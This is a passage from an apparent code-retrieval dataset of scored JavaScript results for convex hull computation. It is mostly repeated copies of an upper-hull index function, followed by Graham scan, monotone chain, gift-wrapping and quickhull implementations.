2;\n\n for (var i = 2; i < n; ++i) {\n while (size > 1 && cross$1(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n indexes[size++] = i;\n }\n\n return indexes.slice(0, size); // remove popped points\n }", "title": "" }, { "docid": "8d9384ff453d5b970d812bfd78c107b0", "score": "0.8002528", "text": "function computeUpperHullIndexes(points) {\n var n = points.length,\n indexes = [0, 1],\n size = 2;\n\n for (var i = 2; i < n; ++i) {\n while (size > 1 && cross$1(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n indexes[size++] = i;\n }\n\n return indexes.slice(0, size); // remove popped points\n }", "title": "" }, { "docid": "892595849ecba925f614a7e779082255", "score": "0.799121", "text": "function computeUpperHullIndexes(points) {\n var n = points.length,\n indexes = [0, 1],\n size = 2;\n\n for (var i = 2; i < n; ++i) {\n while (size > 1 && (0, _cross2.default)(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n indexes[size++] = i;\n }\n\n return indexes.slice(0, size); // remove popped points\n}", "title": "" }, { "docid": "892595849ecba925f614a7e779082255", "score": "0.799121", "text": "function computeUpperHullIndexes(points) {\n var n = points.length,\n indexes = [0, 1],\n size = 2;\n\n for (var i = 2; i < n; ++i) {\n while (size > 1 && (0, _cross2.default)(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n indexes[size++] = i;\n }\n\n return indexes.slice(0, size); // remove popped points\n}", "title": "" }, { "docid": "cd1b959359bc78b27332c9e84d3839f2", "score": "0.7981422", "text": "function computeUpperHullIndexes(points) {\n\t var n = points.length,\n\t indexes = [0, 1],\n\t size = 2;\n\n\t for (var i = 2; i < n; ++i) {\n\t while (size > 1 && cross$1(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n\t indexes[size++] = i;\n\t }\n\n\t return indexes.slice(0, size); // remove popped points\n\t}", "title": "" }, { "docid": "cd1b959359bc78b27332c9e84d3839f2", "score": "0.7981422", "text": "function computeUpperHullIndexes(points) {\n\t var n = points.length,\n\t indexes = [0, 1],\n\t size = 2;\n\n\t for (var i = 2; i < n; ++i) {\n\t while (size > 1 && cross$1(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n\t indexes[size++] = i;\n\t }\n\n\t return indexes.slice(0, size); // remove popped points\n\t}", "title": "" }, { "docid": "41d0ca04f521623288f2aac940ba844c", "score": "0.79798836", "text": "function computeUpperHullIndexes(points) {\n\t var n = points.length,\n\t indexes = [0, 1],\n\t size = 2;\n\t\n\t for (var i = 2; i < n; ++i) {\n\t while (size > 1 && cross(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n\t indexes[size++] = i;\n\t }\n\t\n\t return indexes.slice(0, size); // remove popped points\n\t}", "title": "" }, { "docid": "41d0ca04f521623288f2aac940ba844c", "score": "0.79798836", "text": "function computeUpperHullIndexes(points) {\n\t var n = points.length,\n\t indexes = [0, 1],\n\t size = 2;\n\t\n\t for (var i = 2; i < n; ++i) {\n\t while (size > 1 && cross(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n\t indexes[size++] = i;\n\t }\n\t\n\t return indexes.slice(0, size); // remove popped points\n\t}", "title": "" }, { "docid": "dcc38fe9b2be04545cb7d8fd25ffd972", "score": "0.7979205", "text": "function computeUpperHullIndexes(points) {\n\t var n = points.length,\n\t indexes = [0, 1],\n\t size = 2;\n\n\t for (var i = 2; i < n; ++i) {\n\t while (size > 1 && cross(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n\t indexes[size++] = i;\n\t }\n\n\t return indexes.slice(0, size); // remove popped points\n\t}", "title": "" }, { "docid": "c29b4394f839f468c3b2bc8bbb617833", "score": "0.7973128", "text": "function computeUpperHullIndexes(points) {\n const n = points.length,\n indexes = [0, 1];\n let size = 2, i;\n\n for (i = 2; i < n; ++i) {\n while (size > 1 && cross(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n indexes[size++] = i;\n }\n\n return indexes.slice(0, size); // remove popped points\n}", "title": "" }, { "docid": "a2bdd41818178d2a8588c3972dc68197", "score": "0.7970825", "text": "function computeUpperHullIndexes(points) {\n var n = points.length,\n indexes = [0, 1],\n size = 2;\n\n for (var i = 2; i < n; ++i) {\n while (size > 1 && src_cross(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n indexes[size++] = i;\n }\n\n return indexes.slice(0, size); // remove popped points\n}", "title": "" }, { "docid": "a2bdd41818178d2a8588c3972dc68197", "score": "0.7970825", "text": "function computeUpperHullIndexes(points) {\n var n = points.length,\n indexes = [0, 1],\n size = 2;\n\n for (var i = 2; i < n; ++i) {\n while (size > 1 && src_cross(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n indexes[size++] = i;\n }\n\n return indexes.slice(0, size); // remove popped points\n}", "title": "" }, { "docid": "3d9deaa417a1dc70acf5552b376db6c9", "score": "0.7957243", "text": "function computeUpperHullIndexes(points) {\n\t const n = points.length,\n\t indexes = [0, 1];\n\t let size = 2, i;\n\t\n\t for (i = 2; i < n; ++i) {\n\t while (size > 1 && cross(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n\t indexes[size++] = i;\n\t }\n\t\n\t return indexes.slice(0, size); // remove popped points\n\t}", "title": "" }, { "docid": "210f2cfed737f80c5efd2a155dc2d488", "score": "0.79440206", "text": "function computeUpperHullIndexes(points) {\n var n = points.length,\n indexes = [0, 1],\n size = 2;\n\n for (var i = 2; i < n; ++i) {\n while (size > 1 && __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_0__cross__[\"a\" /* default */])(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n indexes[size++] = i;\n }\n\n return indexes.slice(0, size); // remove popped points\n}", "title": "" }, { "docid": "9f969c741b9d8a8805acab3117d77599", "score": "0.79167044", "text": "function computeUpperHullIndexes(points) {\n var n = points.length,\n indexes = [0, 1],\n size = 2;\n\n for (var i = 2; i < n; ++i) {\n while (size > 1 && Object(_cross__WEBPACK_IMPORTED_MODULE_0__[\"default\"])(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n indexes[size++] = i;\n }\n\n return indexes.slice(0, size); // remove popped points\n}", "title": "" }, { "docid": "9f969c741b9d8a8805acab3117d77599", "score": "0.79167044", "text": "function computeUpperHullIndexes(points) {\n var n = points.length,\n indexes = [0, 1],\n size = 2;\n\n for (var i = 2; i < n; ++i) {\n while (size > 1 && Object(_cross__WEBPACK_IMPORTED_MODULE_0__[\"default\"])(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n indexes[size++] = i;\n }\n\n return indexes.slice(0, size); // remove popped points\n}", "title": "" }, { "docid": "9f969c741b9d8a8805acab3117d77599", "score": "0.79167044", "text": "function computeUpperHullIndexes(points) {\n var n = points.length,\n indexes = [0, 1],\n size = 2;\n\n for (var i = 2; i < n; ++i) {\n while (size > 1 && Object(_cross__WEBPACK_IMPORTED_MODULE_0__[\"default\"])(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n indexes[size++] = i;\n }\n\n return indexes.slice(0, size); // remove popped points\n}", "title": "" }, { "docid": "9f969c741b9d8a8805acab3117d77599", "score": "0.79167044", "text": "function computeUpperHullIndexes(points) {\n var n = points.length,\n indexes = [0, 1],\n size = 2;\n\n for (var i = 2; i < n; ++i) {\n while (size > 1 && Object(_cross__WEBPACK_IMPORTED_MODULE_0__[\"default\"])(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n indexes[size++] = i;\n }\n\n return indexes.slice(0, size); // remove popped points\n}", "title": "" }, { "docid": "4660515d18c55008922fa9b6cc3a6123", "score": "0.78975654", "text": "function computeUpperHullIndexes(points) {\n const n = points.length, indexes = [0, 1];\n let size = 2, i;\n for (i = 2; i < n; ++i) {\n while (size > 1 && cross(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n indexes[size++] = i;\n }\n return indexes.slice(0, size);\n }", "title": "" }, { "docid": "d3241ead243baaae66b71c70bcd643c3", "score": "0.7875879", "text": "function computeUpperHullIndexes(points) {\n var n = points.length,\n indexes = [0, 1],\n size = 2;\n\n for (var i = 2; i < n; ++i) {\n while (size > 1 && Object(__WEBPACK_IMPORTED_MODULE_0__cross__[\"a\" /* default */])(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n indexes[size++] = i;\n }\n\n return indexes.slice(0, size); // remove popped points\n}", "title": "" }, { "docid": "d3241ead243baaae66b71c70bcd643c3", "score": "0.7875879", "text": "function computeUpperHullIndexes(points) {\n var n = points.length,\n indexes = [0, 1],\n size = 2;\n\n for (var i = 2; i < n; ++i) {\n while (size > 1 && Object(__WEBPACK_IMPORTED_MODULE_0__cross__[\"a\" /* default */])(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n indexes[size++] = i;\n }\n\n return indexes.slice(0, size); // remove popped points\n}", "title": "" }, { "docid": "d3241ead243baaae66b71c70bcd643c3", "score": "0.7875879", "text": "function computeUpperHullIndexes(points) {\n var n = points.length,\n indexes = [0, 1],\n size = 2;\n\n for (var i = 2; i < n; ++i) {\n while (size > 1 && Object(__WEBPACK_IMPORTED_MODULE_0__cross__[\"a\" /* default */])(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n indexes[size++] = i;\n }\n\n return indexes.slice(0, size); // remove popped points\n}", "title": "" }, { "docid": "d3241ead243baaae66b71c70bcd643c3", "score": "0.7875879", "text": "function computeUpperHullIndexes(points) {\n var n = points.length,\n indexes = [0, 1],\n size = 2;\n\n for (var i = 2; i < n; ++i) {\n while (size > 1 && Object(__WEBPACK_IMPORTED_MODULE_0__cross__[\"a\" /* default */])(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n indexes[size++] = i;\n }\n\n return indexes.slice(0, size); // remove popped points\n}", "title": "" }, { "docid": "d3241ead243baaae66b71c70bcd643c3", "score": "0.7875879", "text": "function computeUpperHullIndexes(points) {\n var n = points.length,\n indexes = [0, 1],\n size = 2;\n\n for (var i = 2; i < n; ++i) {\n while (size > 1 && Object(__WEBPACK_IMPORTED_MODULE_0__cross__[\"a\" /* default */])(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n indexes[size++] = i;\n }\n\n return indexes.slice(0, size); // remove popped points\n}", "title": "" }, { "docid": "d3241ead243baaae66b71c70bcd643c3", "score": "0.7875879", "text": "function computeUpperHullIndexes(points) {\n var n = points.length,\n indexes = [0, 1],\n size = 2;\n\n for (var i = 2; i < n; ++i) {\n while (size > 1 && Object(__WEBPACK_IMPORTED_MODULE_0__cross__[\"a\" /* default */])(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n indexes[size++] = i;\n }\n\n return indexes.slice(0, size); // remove popped points\n}", "title": "" }, { "docid": "d3241ead243baaae66b71c70bcd643c3", "score": "0.7875879", "text": "function computeUpperHullIndexes(points) {\n var n = points.length,\n indexes = [0, 1],\n size = 2;\n\n for (var i = 2; i < n; ++i) {\n while (size > 1 && Object(__WEBPACK_IMPORTED_MODULE_0__cross__[\"a\" /* default */])(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n indexes[size++] = i;\n }\n\n return indexes.slice(0, size); // remove popped points\n}", "title": "" }, { "docid": "d3241ead243baaae66b71c70bcd643c3", "score": "0.7875879", "text": "function computeUpperHullIndexes(points) {\n var n = points.length,\n indexes = [0, 1],\n size = 2;\n\n for (var i = 2; i < n; ++i) {\n while (size > 1 && Object(__WEBPACK_IMPORTED_MODULE_0__cross__[\"a\" /* default */])(points[indexes[size - 2]], points[indexes[size - 1]], points[i]) <= 0) --size;\n indexes[size++] = i;\n }\n\n return indexes.slice(0, size); // remove popped points\n}", "title": "" }, { "docid": "0bac2c79895b01b3f985e39e392ca542", "score": "0.6630661", "text": "calculateConvexHull() {\n this.sortVerticesByYPos();\n let points = [...this.vertices]\n // Catch special case where two points share the same y-coordinate.\n // We want to set the leftmost as P0\n let p0 = points.shift();\n let sortedPoints = this.sortVerticesByPolarAnglesWithVertex(\n p0,\n points\n );\n sortedPoints.unshift(p0);\n let stack = [];\n for (let point of sortedPoints) {\n while (\n stack.length > 1 &&\n this.counterclockwise(\n stack[stack.length - 2],\n stack[stack.length - 1],\n point\n ) <= 0\n ) {\n stack.pop();\n }\n stack.push(point);\n }\n // Stack contains the convex hull points starting with p0 in counter clockwise orientation\n return stack;\n }", "title": "" }, { "docid": "a3add530b9e7cba1dcdafcfb013be68e", "score": "0.66069776", "text": "function convexHull(points, n) {\n // There must be at least 3 points\n if (n < 3) return;\n\n // Initialize Result\n var hull = [];\n\n // Find the leftmost point\n var l = 0;\n for (var i = 1; i < n; i++) {\n if (points[i].x < points[l].x) {\n l = i;\n }\n }\n // Start from leftmost point, keep moving \n // counterclockwise until reach the start point\n // again. This loop runs O(h) times where h is\n // number of points in result or output.\n var p = l, q;\n do {\n // Add current point to result\n // Prevent duplicates object\n // if (hull.findIndex(i => i.x == points[p].x && i.y == points[p].y)==-1){\n hull.push(points[p]);\n // }\n\n // Search for a point 'q' such that \n // orientation(p, x, q) is counterclockwise \n // for all points 'x'. The idea is to keep \n // track of last visited most counterclock-\n // wise point in q. If any point 'i' is more \n // counterclock-wise than q, then update q.\n q = (p + 1) % n;\n\n for (var i = 0; i < n; i++) {\n // If i is more counterclockwise than \n // current q, then update q\n if (orientation(points[p], points[i], points[q]) == 2)\n q = i;\n }\n\n // Now q is the most counterclockwise with\n // respect to p. Set p as q for next iteration, \n // so that q is added to result 'hull'\n p = q;\n\n } while (p != l); // While we don't come to first \n // point\n\n // Print Result\n // for (var i in hull) {\n // var temp = hull[i]\n // console.log(\"(\" + temp.x + \", \" + temp.y + \")\");\n // }\n return hull\n}", "title": "" }, { "docid": "3ee4eb9697bdceb43f6b2d1b5148dede", "score": "0.64922136", "text": "function convexHull(points) {\n\tpoints.sort(function(a, b) {\n\t\treturn a.x == b.x ? a.y - b.y : a.x - b.x;\n\t});\n\n\tvar lower = [];\n\tfor (var i = 0; i < points.length; i++) {\n\t\twhile (lower.length >= 2 && cross(lower[lower.length - 2], lower[lower.length - 1], points[i]) <= 0) {\n\t\t\tlower.pop();\n\t\t}\n\t\tlower.push(points[i]);\n\t}\n\n\tvar upper = [];\n\tfor (var i = points.length - 1; i >= 0; i--) {\n\t\twhile (upper.length >= 2 && cross(upper[upper.length - 2], upper[upper.length - 1], points[i]) <= 0) {\n\t\t\tupper.pop();\n\t\t}\n\t\tupper.push(points[i]);\n\t}\n\n\tupper.pop();\n\tlower.pop();\n\treturn lower.concat(upper);\n}", "title": "" }, { "docid": "0fdf29cdce280348651253b51e8463b0", "score": "0.6430251", "text": "function fastConvexHull(points) {\n var left = points[0];\n var top = points[0];\n var right = points[0];\n var bottom = points[0];\n\n // find the leftmost, rightmost, topmost and bottommost points\n for (var i = 0; i < points.length; i++) {\n var p = points[i];\n if (p[0] < left[0]) left = p;\n if (p[0] > right[0]) right = p;\n if (p[1] < top[1]) top = p;\n if (p[1] > bottom[1]) bottom = p;\n }\n\n // filter out points that are inside the resulting quadrilateral\n var cull = [left, top, right, bottom];\n var filtered = cull.slice();\n for (i = 0; i < points.length; i++) {\n if (!pointInPolygon(points[i], cull)) filtered.push(points[i]);\n }\n\n // get convex hull around the filtered points\n var indices = monotoneConvexHull2d(filtered);\n\n // return the hull as array of points (rather than indices)\n var hull = [];\n for (i = 0; i < indices.length; i++) hull.push(filtered[indices[i]]);\n return hull;\n}", "title": "" }, { "docid": "2c2642ced87b123ff439e4ef87d05a32", "score": "0.6335662", "text": "function chainHull_2D(P, n, H) {\n // the output array H[] will be used as the stack\n var bot = 0,\n top = (-1); // indices for bottom and top of the stack\n var i; // array scan index\n // Get the indices of points with min x-coord and min|max y-coord\n var minmin = 0,\n minmax;\n\n var xmin = P[0].lng();\n for (i = 1; i < n; i++) {\n\tif (P[i].lng() != xmin) {\n\t break;\n\t}\n }\n\n minmax = i - 1;\n if (minmax == n - 1) { // degenerate case: all x-coords == xmin\n\tH[++top] = P[minmin];\n\tif (P[minmax].lat() != P[minmin].lat()) // a nontrivial segment\n\t H[++top] = P[minmax];\n\tH[++top] = P[minmin]; // add polygon endpoint\n\treturn top + 1;\n }\n\n // Get the indices of points with max x-coord and min|max y-coord\n var maxmin, maxmax = n - 1;\n var xmax = P[n - 1].lng();\n for (i = n - 2; i >= 0; i--) {\n\tif (P[i].lng() != xmax) {\n\t break;\n\t}\n }\n maxmin = i + 1;\n\n // Compute the lower hull on the stack H\n H[++top] = P[minmin]; // push minmin point onto stack\n i = minmax;\n while (++i <= maxmin) {\n\t// the lower line joins P[minmin] with P[maxmin]\n\tif (isLeft(P[minmin], P[maxmin], P[i]) >= 0 && i < maxmin) {\n\t continue; // ignore P[i] above or on the lower line\n\t}\n\n\twhile (top > 0) { // there are at least 2 points on the stack\n\t // test if P[i] is left of the line at the stack top\n\t if (isLeft(H[top - 1], H[top], P[i]) > 0) {\n\t\tbreak; // P[i] is a new hull vertex\n\t }\n\t else {\n\t\ttop--; // pop top point off stack\n\t }\n\t}\n\n\tH[++top] = P[i]; // push P[i] onto stack\n }\n\n // Next, compute the upper hull on the stack H above the bottom hull\n if (maxmax != maxmin) { // if distinct xmax points\n\tH[++top] = P[maxmax]; // push maxmax point onto stack\n }\n\n bot = top; // the bottom point of the upper hull stack\n i = maxmin;\n while (--i >= minmax) {\n\t// the upper line joins P[maxmax] with P[minmax]\n\tif (isLeft(P[maxmax], P[minmax], P[i]) >= 0 && i > minmax) {\n\t continue; // ignore P[i] below or on the upper line\n\t}\n\n\twhile (top > bot) { // at least 2 points on the upper stack\n\t // test if P[i] is left of the line at the stack top\n\t if (isLeft(H[top - 1], H[top], P[i]) > 0) {\n\t\tbreak; // P[i] is a new hull vertex\n\t }\n\t else {\n\t\ttop--; // pop top point off stack\n\t }\n\t}\n\n\tH[++top] = P[i]; // push P[i] onto stack\n }\n\n if (minmax != minmin) {\n\tH[++top] = P[minmin]; // push joining endpoint onto stack\n }\n\n return top + 1;\n}", "title": "" }, { "docid": "8784419378e272c43ea9b05b3e0a7a9c", "score": "0.60193664", "text": "function drawHull() {\n var leftMost = 0,len = points.length;\n var hull = [];\n for(var i=1;i<len;i++) {\n if(points[i].x<points[leftMost].x) {\n leftMost = i;\n }\n }\n\n var p = leftMost;\n\n do {\n\n hull.push({x:points[p].x,y:points[p].y});\n var q = (p+1)%len;\n for(var r=0;r<len;r++) {\n\n var product = (points[r].x - points[p].x)*(points[q].y - points[r].y) - (points[q].x - points[r].x)*(points[r].y - points[p].y);\n if(product>0) {\n q = r;\n }\n }\n p = q;\n } while (p!=leftMost);\n ctx.beginPath();\n ctx.lineWidth = 2;\n ctx.strokeStyle = \"lightgreen\";\n ctx.moveTo(hull[0].x,hull[0].y);\n for(var i=1;i<hull.length;i++) {\n ctx.lineTo(hull[i].x,hull[i].y);\n }\n ctx.closePath();\n ctx.stroke();\n }", "title": "" }, { "docid": "c5cfc82d096fdb51363f125f35430398", "score": "0.59935534", "text": "function getConvexHull(points) {\n\tvar maxX, minX;\n\tvar maxPt, minPt;\n\tvar maxIdx, minIdx;\n\tfor(var n = 0; n < points.width; n++){\n\t\tif (points.val(n, 0) > maxX || !maxX) {\n\t\t\tmaxIdx = n;\n\t\t\tmaxX = points.val(n, 0);\n\t\t}\n\t\tif (points.val(n, 0) < minX || !minX) {\n\t\t\tminIdx = n;\n\t\t\tminX = points.val(n, 0);\n\t\t}\n\t}\n\n\tminPt = points.subset(minIdx, 0, 1, 2);\n\tmaxPt = points.subset(maxIdx, 0, 1, 2);\n\tvar rval = buildConvexHull(minPt, maxPt, points);\n\trval.appendMatrix(buildConvexHull(maxPt, minPt, points), 'x');\n\treturn rval;\n}", "title": "" }, { "docid": "8a3a69dffc3b75370bcfa92af27db464", "score": "0.5670671", "text": "function buildConvexHull(minPoint, maxPoint, points) {\n\tvar hullPoints;\n\tvar n;\n\tvar maxD = 0;\n\tvar maxIdx = null;\n\tvar newPoints = new matrixClass(0, 2);\n\tfor(n = 0; n < points.width; n++) {\n\n\t\tvar d = (minPoint.val(0, 1) - maxPoint.val(0, 1)) * (points.val(n, 0) - minPoint.val(0, 0)) +\n\t\t\t(maxPoint.val(0, 0) - minPoint.val(0, 0)) * (points.val(n, 1) - minPoint.val(0, 1));\n\t\tif(d <= 0) continue;\n\t\tnewPoints.appendMatrix(points.subset(n, 0, 1, 2), 'x');\n\n\t\tif ( d > maxD ) {\n\t\t\tmaxD = d;\n\t\t\tmaxIdx = n;\n\t\t}\n\t}\n\n\tif (maxIdx != null) {\n\t\tvar maxPt = points.subset(maxIdx, 0, 1, 2);\n\t\thullPoints = buildConvexHull(minPoint, maxPt, newPoints);\n\t\thullPoints.appendMatrix(buildConvexHull(maxPt, maxPoint, newPoints), 'x');\n\t\treturn hullPoints;\n\t} else {\n\t\treturn minPoint;\n\t}\n}", "title": "" }, { "docid": "92775bc436bd3386653a5b034f456588", "score": "0.55695426", "text": "function ConvexHull(S) {\n var P = S.slice(0).sort(function (a, b) { return a.x !== b.x ? b.x - a.x : b.y - a.y; });\n var n = S.length, i;\n var minmin = 0;\n var xmin = P[0].x;\n for (i = 1; i < n; ++i) {\n if (P[i].x !== xmin)\n break;\n }\n var minmax = i - 1;\n var H = [];\n H.push(P[minmin]); // push minmin point onto stack\n if (minmax === n - 1) {\n if (P[minmax].y !== P[minmin].y)\n H.push(P[minmax]);\n }\n else {\n // Get the indices of points with max x-coord and min|max y-coord\n var maxmin, maxmax = n - 1;\n var xmax = P[n - 1].x;\n for (i = n - 2; i >= 0; i--)\n if (P[i].x !== xmax)\n break;\n maxmin = i + 1;\n // Compute the lower hull on the stack H\n i = minmax;\n while (++i <= maxmin) {\n // the lower line joins P[minmin] with P[maxmin]\n if (isLeft(P[minmin], P[maxmin], P[i]) >= 0 && i < maxmin)\n continue; // ignore P[i] above or on the lower line\n while (H.length > 1) {\n // test if P[i] is left of the line at the stack top\n if (isLeft(H[H.length - 2], H[H.length - 1], P[i]) > 0)\n break;\n else\n H.length -= 1; // pop top point off stack\n }\n if (i != minmin)\n H.push(P[i]);\n }\n // Next, compute the upper hull on the stack H above the bottom hull\n if (maxmax != maxmin)\n H.push(P[maxmax]); // push maxmax point onto stack\n var bot = H.length; // the bottom point of the upper hull stack\n i = maxmin;\n while (--i >= minmax) {\n // the upper line joins P[maxmax] with P[minmax]\n if (isLeft(P[maxmax], P[minmax], P[i]) >= 0 && i > minmax)\n continue; // ignore P[i] below or on the upper line\n while (H.length > bot) {\n // test if P[i] is left of the line at the stack top\n if (isLeft(H[H.length - 2], H[H.length - 1], P[i]) > 0)\n break;\n else\n H.length -= 1; // pop top point off stack\n }\n if (i != minmin)\n H.push(P[i]); // push P[i] onto stack\n }\n }\n return H;\n}", "title": "" }, { "docid": "55c1b1b897ffb60214b710a4c87f6c7c", "score": "0.54454255", "text": "function triangulation(points){\n let random = Math.floor(Math.random() * points.length)\n let seedPoint = points[random]\n radialSort(points, seedPoint)\n points.pop()\n let x1 = points.pop()\n let C = calcSmallestCircleCenter(seedPoint, x1, points)\n // console.log(seedPoint, x1, C)\n return [C, seedPoint]\n}", "title": "" }, { "docid": "0f8d3ebc8d149b1ee1472fd5f99e18d7", "score": "0.5416166", "text": "function insideHull(obj, hull) {\n\tvar points = [];\n\tif (obj.constructor.name == 'Box') {\n\t\tpoints = obj.getCorner();\n\t}\n\telse if (obj.constructor.name == 'Point') {\n\t\tpoints.push(obj);\n\t}\n\telse {\n\t\treturn;\n\t}\n\n\tvar pointsOnEdge = 0;\n\tfor (var i = 0; i < points.length; i++) {\n\t\t//Loop over all the edges of the convex hull, if the point is left of all of them then it is inside\n\t\tfor (var j = 0; j < hull.length; j++) {\n\t\t\tvar tmp = cross(hull[j], hull[(j + 1) % hull.length], points[i]);\n\t\t\tif (tmp < 0) {//Point is to the right of the current edge, hence not inside hull\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\telse if (tmp == 0) { //Check if point is on the line segment hull[j]->hull[j+1]\n\t\t\t\tif (points[i].x < Math.min(hull[j].x, hull[(j + 1) % hull.length].x) ||\n\t\t\t\tpoints[i].x > Math.max(hull[j].x, hull[(j + 1) % hull.length].x) ||\n\t\t\t\tpoints[i].y < Math.min(hull[j].y, hull[(j + 1) % hull.length].y) ||\n\t\t\t\tpoints[i].y > Math.max(hull[j].y, hull[(j + 1) % hull.length].y)) {\n\t\t\t\t\treturn -1; //Point is on line through hull[j]->hull[j+1] but not between them, hence its outside the hull\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tpointsOnEdge += 1;\n\t\t\t\t\t//console.log('Point ', utils.stringify(points[i]), 'lies on an edge');\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn (pointsOnEdge == points.length ? 0 : 1);\n}", "title": "" }, { "docid": "798efc278524a1e563b3c59b4d27a1b0", "score": "0.5346443", "text": "function recurseHull(line, points){\n // Are there any points outside this line? If not, we're done! Return the line.\n if(points.length == 0){\n return [line];\n }\n\n // Calculate which point is the farthest away\n var highestIndex = 0;\n var highestDistance = 0;\n for(var i = 0; i < points.length; i++){\n var distance = calculateDistance(line, points[i])\n if(distance > highestDistance){\n highestDistance = distance;\n highestIndex = i;\n }\n }\n // Now we have a triangle, consisting of the line and the farthest point.\n var farPoint = points[highestIndex];\n points.splice(highestIndex, 1);\n\n var triangle = new Polygon([line.a, line.b, farPoint]);\n\n // Now we divide the remaining points into two groups - those which are near the first vertex and those which are near the second vertex\n var linePoints1 = [];\n var linePoints2 = [];\n var line1 = new Line(line.a, farPoint);\n var line2 = new Line(farPoint, line.b);\n\n // var trianglePoint = new Point(0, farPoint.y - line.slope * farPoint.x);\n for(var i = 0; i < points.length; i++){\n if( !triangle.inside(points[i]) ){\n if(closestLine(points[i], line, farPoint) == 1 ){\n linePoints1.push(points[i]);\n }else{\n linePoints2.push(points[i]);\n }\n }\n }\n // And then we do it again, with the new groups\n return [...recurseHull(line1, linePoints1), ...recurseHull(line2, linePoints2)];\n}", "title": "" }, { "docid": "143a1265b6cace15b9aef0fa0f19cbd8", "score": "0.5337536", "text": "getHull() {\n\t\treturn [this.getCorner('dl'), this.getCorner('dr'), this.getCorner('tr'), this.getCorner('tl')];\n\t}", "title": "" }, { "docid": "b28e542f3528dd2cf8d35033e619815b", "score": "0.5336245", "text": "function nearestNeighbour(points) {\n const result = [];\n\n let p = points.shift();\n result.push(p);\n\n const len = points.length;\n for (let j = 0; j < len; j++ ){\n let cmax = Number.POSITIVE_INFINITY;\n let index = -1;\n for (let i = 0; i < points.length; i++ ){\n const distance = dist2(p, points[i]);\n if ( distance <= cmax) {\n cmax = distance;\n index = i;\n }\n }\n p = points.splice(index, 1)[0];\n result.push(p);\n }\n return result;\n}", "title": "" }, { "docid": "45898d6494a05be1e9e934f3345586aa", "score": "0.5323313", "text": "function ConvexHull(S) {\n\t var P = S.slice(0).sort(function (a, b) { return a.x !== b.x ? b.x - a.x : b.y - a.y; });\n\t var n = S.length, i;\n\t var minmin = 0;\n\t var xmin = P[0].x;\n\t for (i = 1; i < n; ++i) {\n\t if (P[i].x !== xmin)\n\t break;\n\t }\n\t var minmax = i - 1;\n\t var H = [];\n\t H.push(P[minmin]); // push minmin point onto stack\n\t if (minmax === n - 1) {\n\t if (P[minmax].y !== P[minmin].y)\n\t H.push(P[minmax]);\n\t }\n\t else {\n\t // Get the indices of points with max x-coord and min|max y-coord\n\t var maxmin, maxmax = n - 1;\n\t var xmax = P[n - 1].x;\n\t for (i = n - 2; i >= 0; i--)\n\t if (P[i].x !== xmax)\n\t break;\n\t maxmin = i + 1;\n\t // Compute the lower hull on the stack H\n\t i = minmax;\n\t while (++i <= maxmin) {\n\t // the lower line joins P[minmin] with P[maxmin]\n\t if (isLeft(P[minmin], P[maxmin], P[i]) >= 0 && i < maxmin)\n\t continue; // ignore P[i] above or on the lower line\n\t while (H.length > 1) {\n\t // test if P[i] is left of the line at the stack top\n\t if (isLeft(H[H.length - 2], H[H.length - 1], P[i]) > 0)\n\t break; // P[i] is a new hull vertex\n\t else\n\t H.length -= 1; // pop top point off stack\n\t }\n\t if (i != minmin)\n\t H.push(P[i]);\n\t }\n\t // Next, compute the upper hull on the stack H above the bottom hull\n\t if (maxmax != maxmin)\n\t H.push(P[maxmax]); // push maxmax point onto stack\n\t var bot = H.length; // the bottom point of the upper hull stack\n\t i = maxmin;\n\t while (--i >= minmax) {\n\t // the upper line joins P[maxmax] with P[minmax]\n\t if (isLeft(P[maxmax], P[minmax], P[i]) >= 0 && i > minmax)\n\t continue; // ignore P[i] below or on the upper line\n\t while (H.length > bot) {\n\t // test if P[i] is left of the line at the stack top\n\t if (isLeft(H[H.length - 2], H[H.length - 1], P[i]) > 0)\n\t break; // P[i] is a new hull vertex\n\t else\n\t H.length -= 1; // pop top point off stack\n\t }\n\t if (i != minmin)\n\t H.push(P[i]); // push P[i] onto stack\n\t }\n\t }\n\t return H;\n\t }", "title": "" }, { "docid": "31c255d0d6d2ccf5707034a8d1ea40cf", "score": "0.53101313", "text": "function gm$GrahamScan(arr) {\n 'use strict';\n var n = arr.length;\n // triangles are always convex\n if(n <= 3){return arr;}\n // from here we start an inplace algorithm\n var hull = arr.slice();\n // closure to swap two elements in array\n var swap = function(i, j) { var t = hull[i]; hull[i] = hull[j]; hull[j] = t; };\n // check if three points are counter-clockwise (ccw > 0), clockwise (ccw < 0), or collinear (ccw == 0)\n 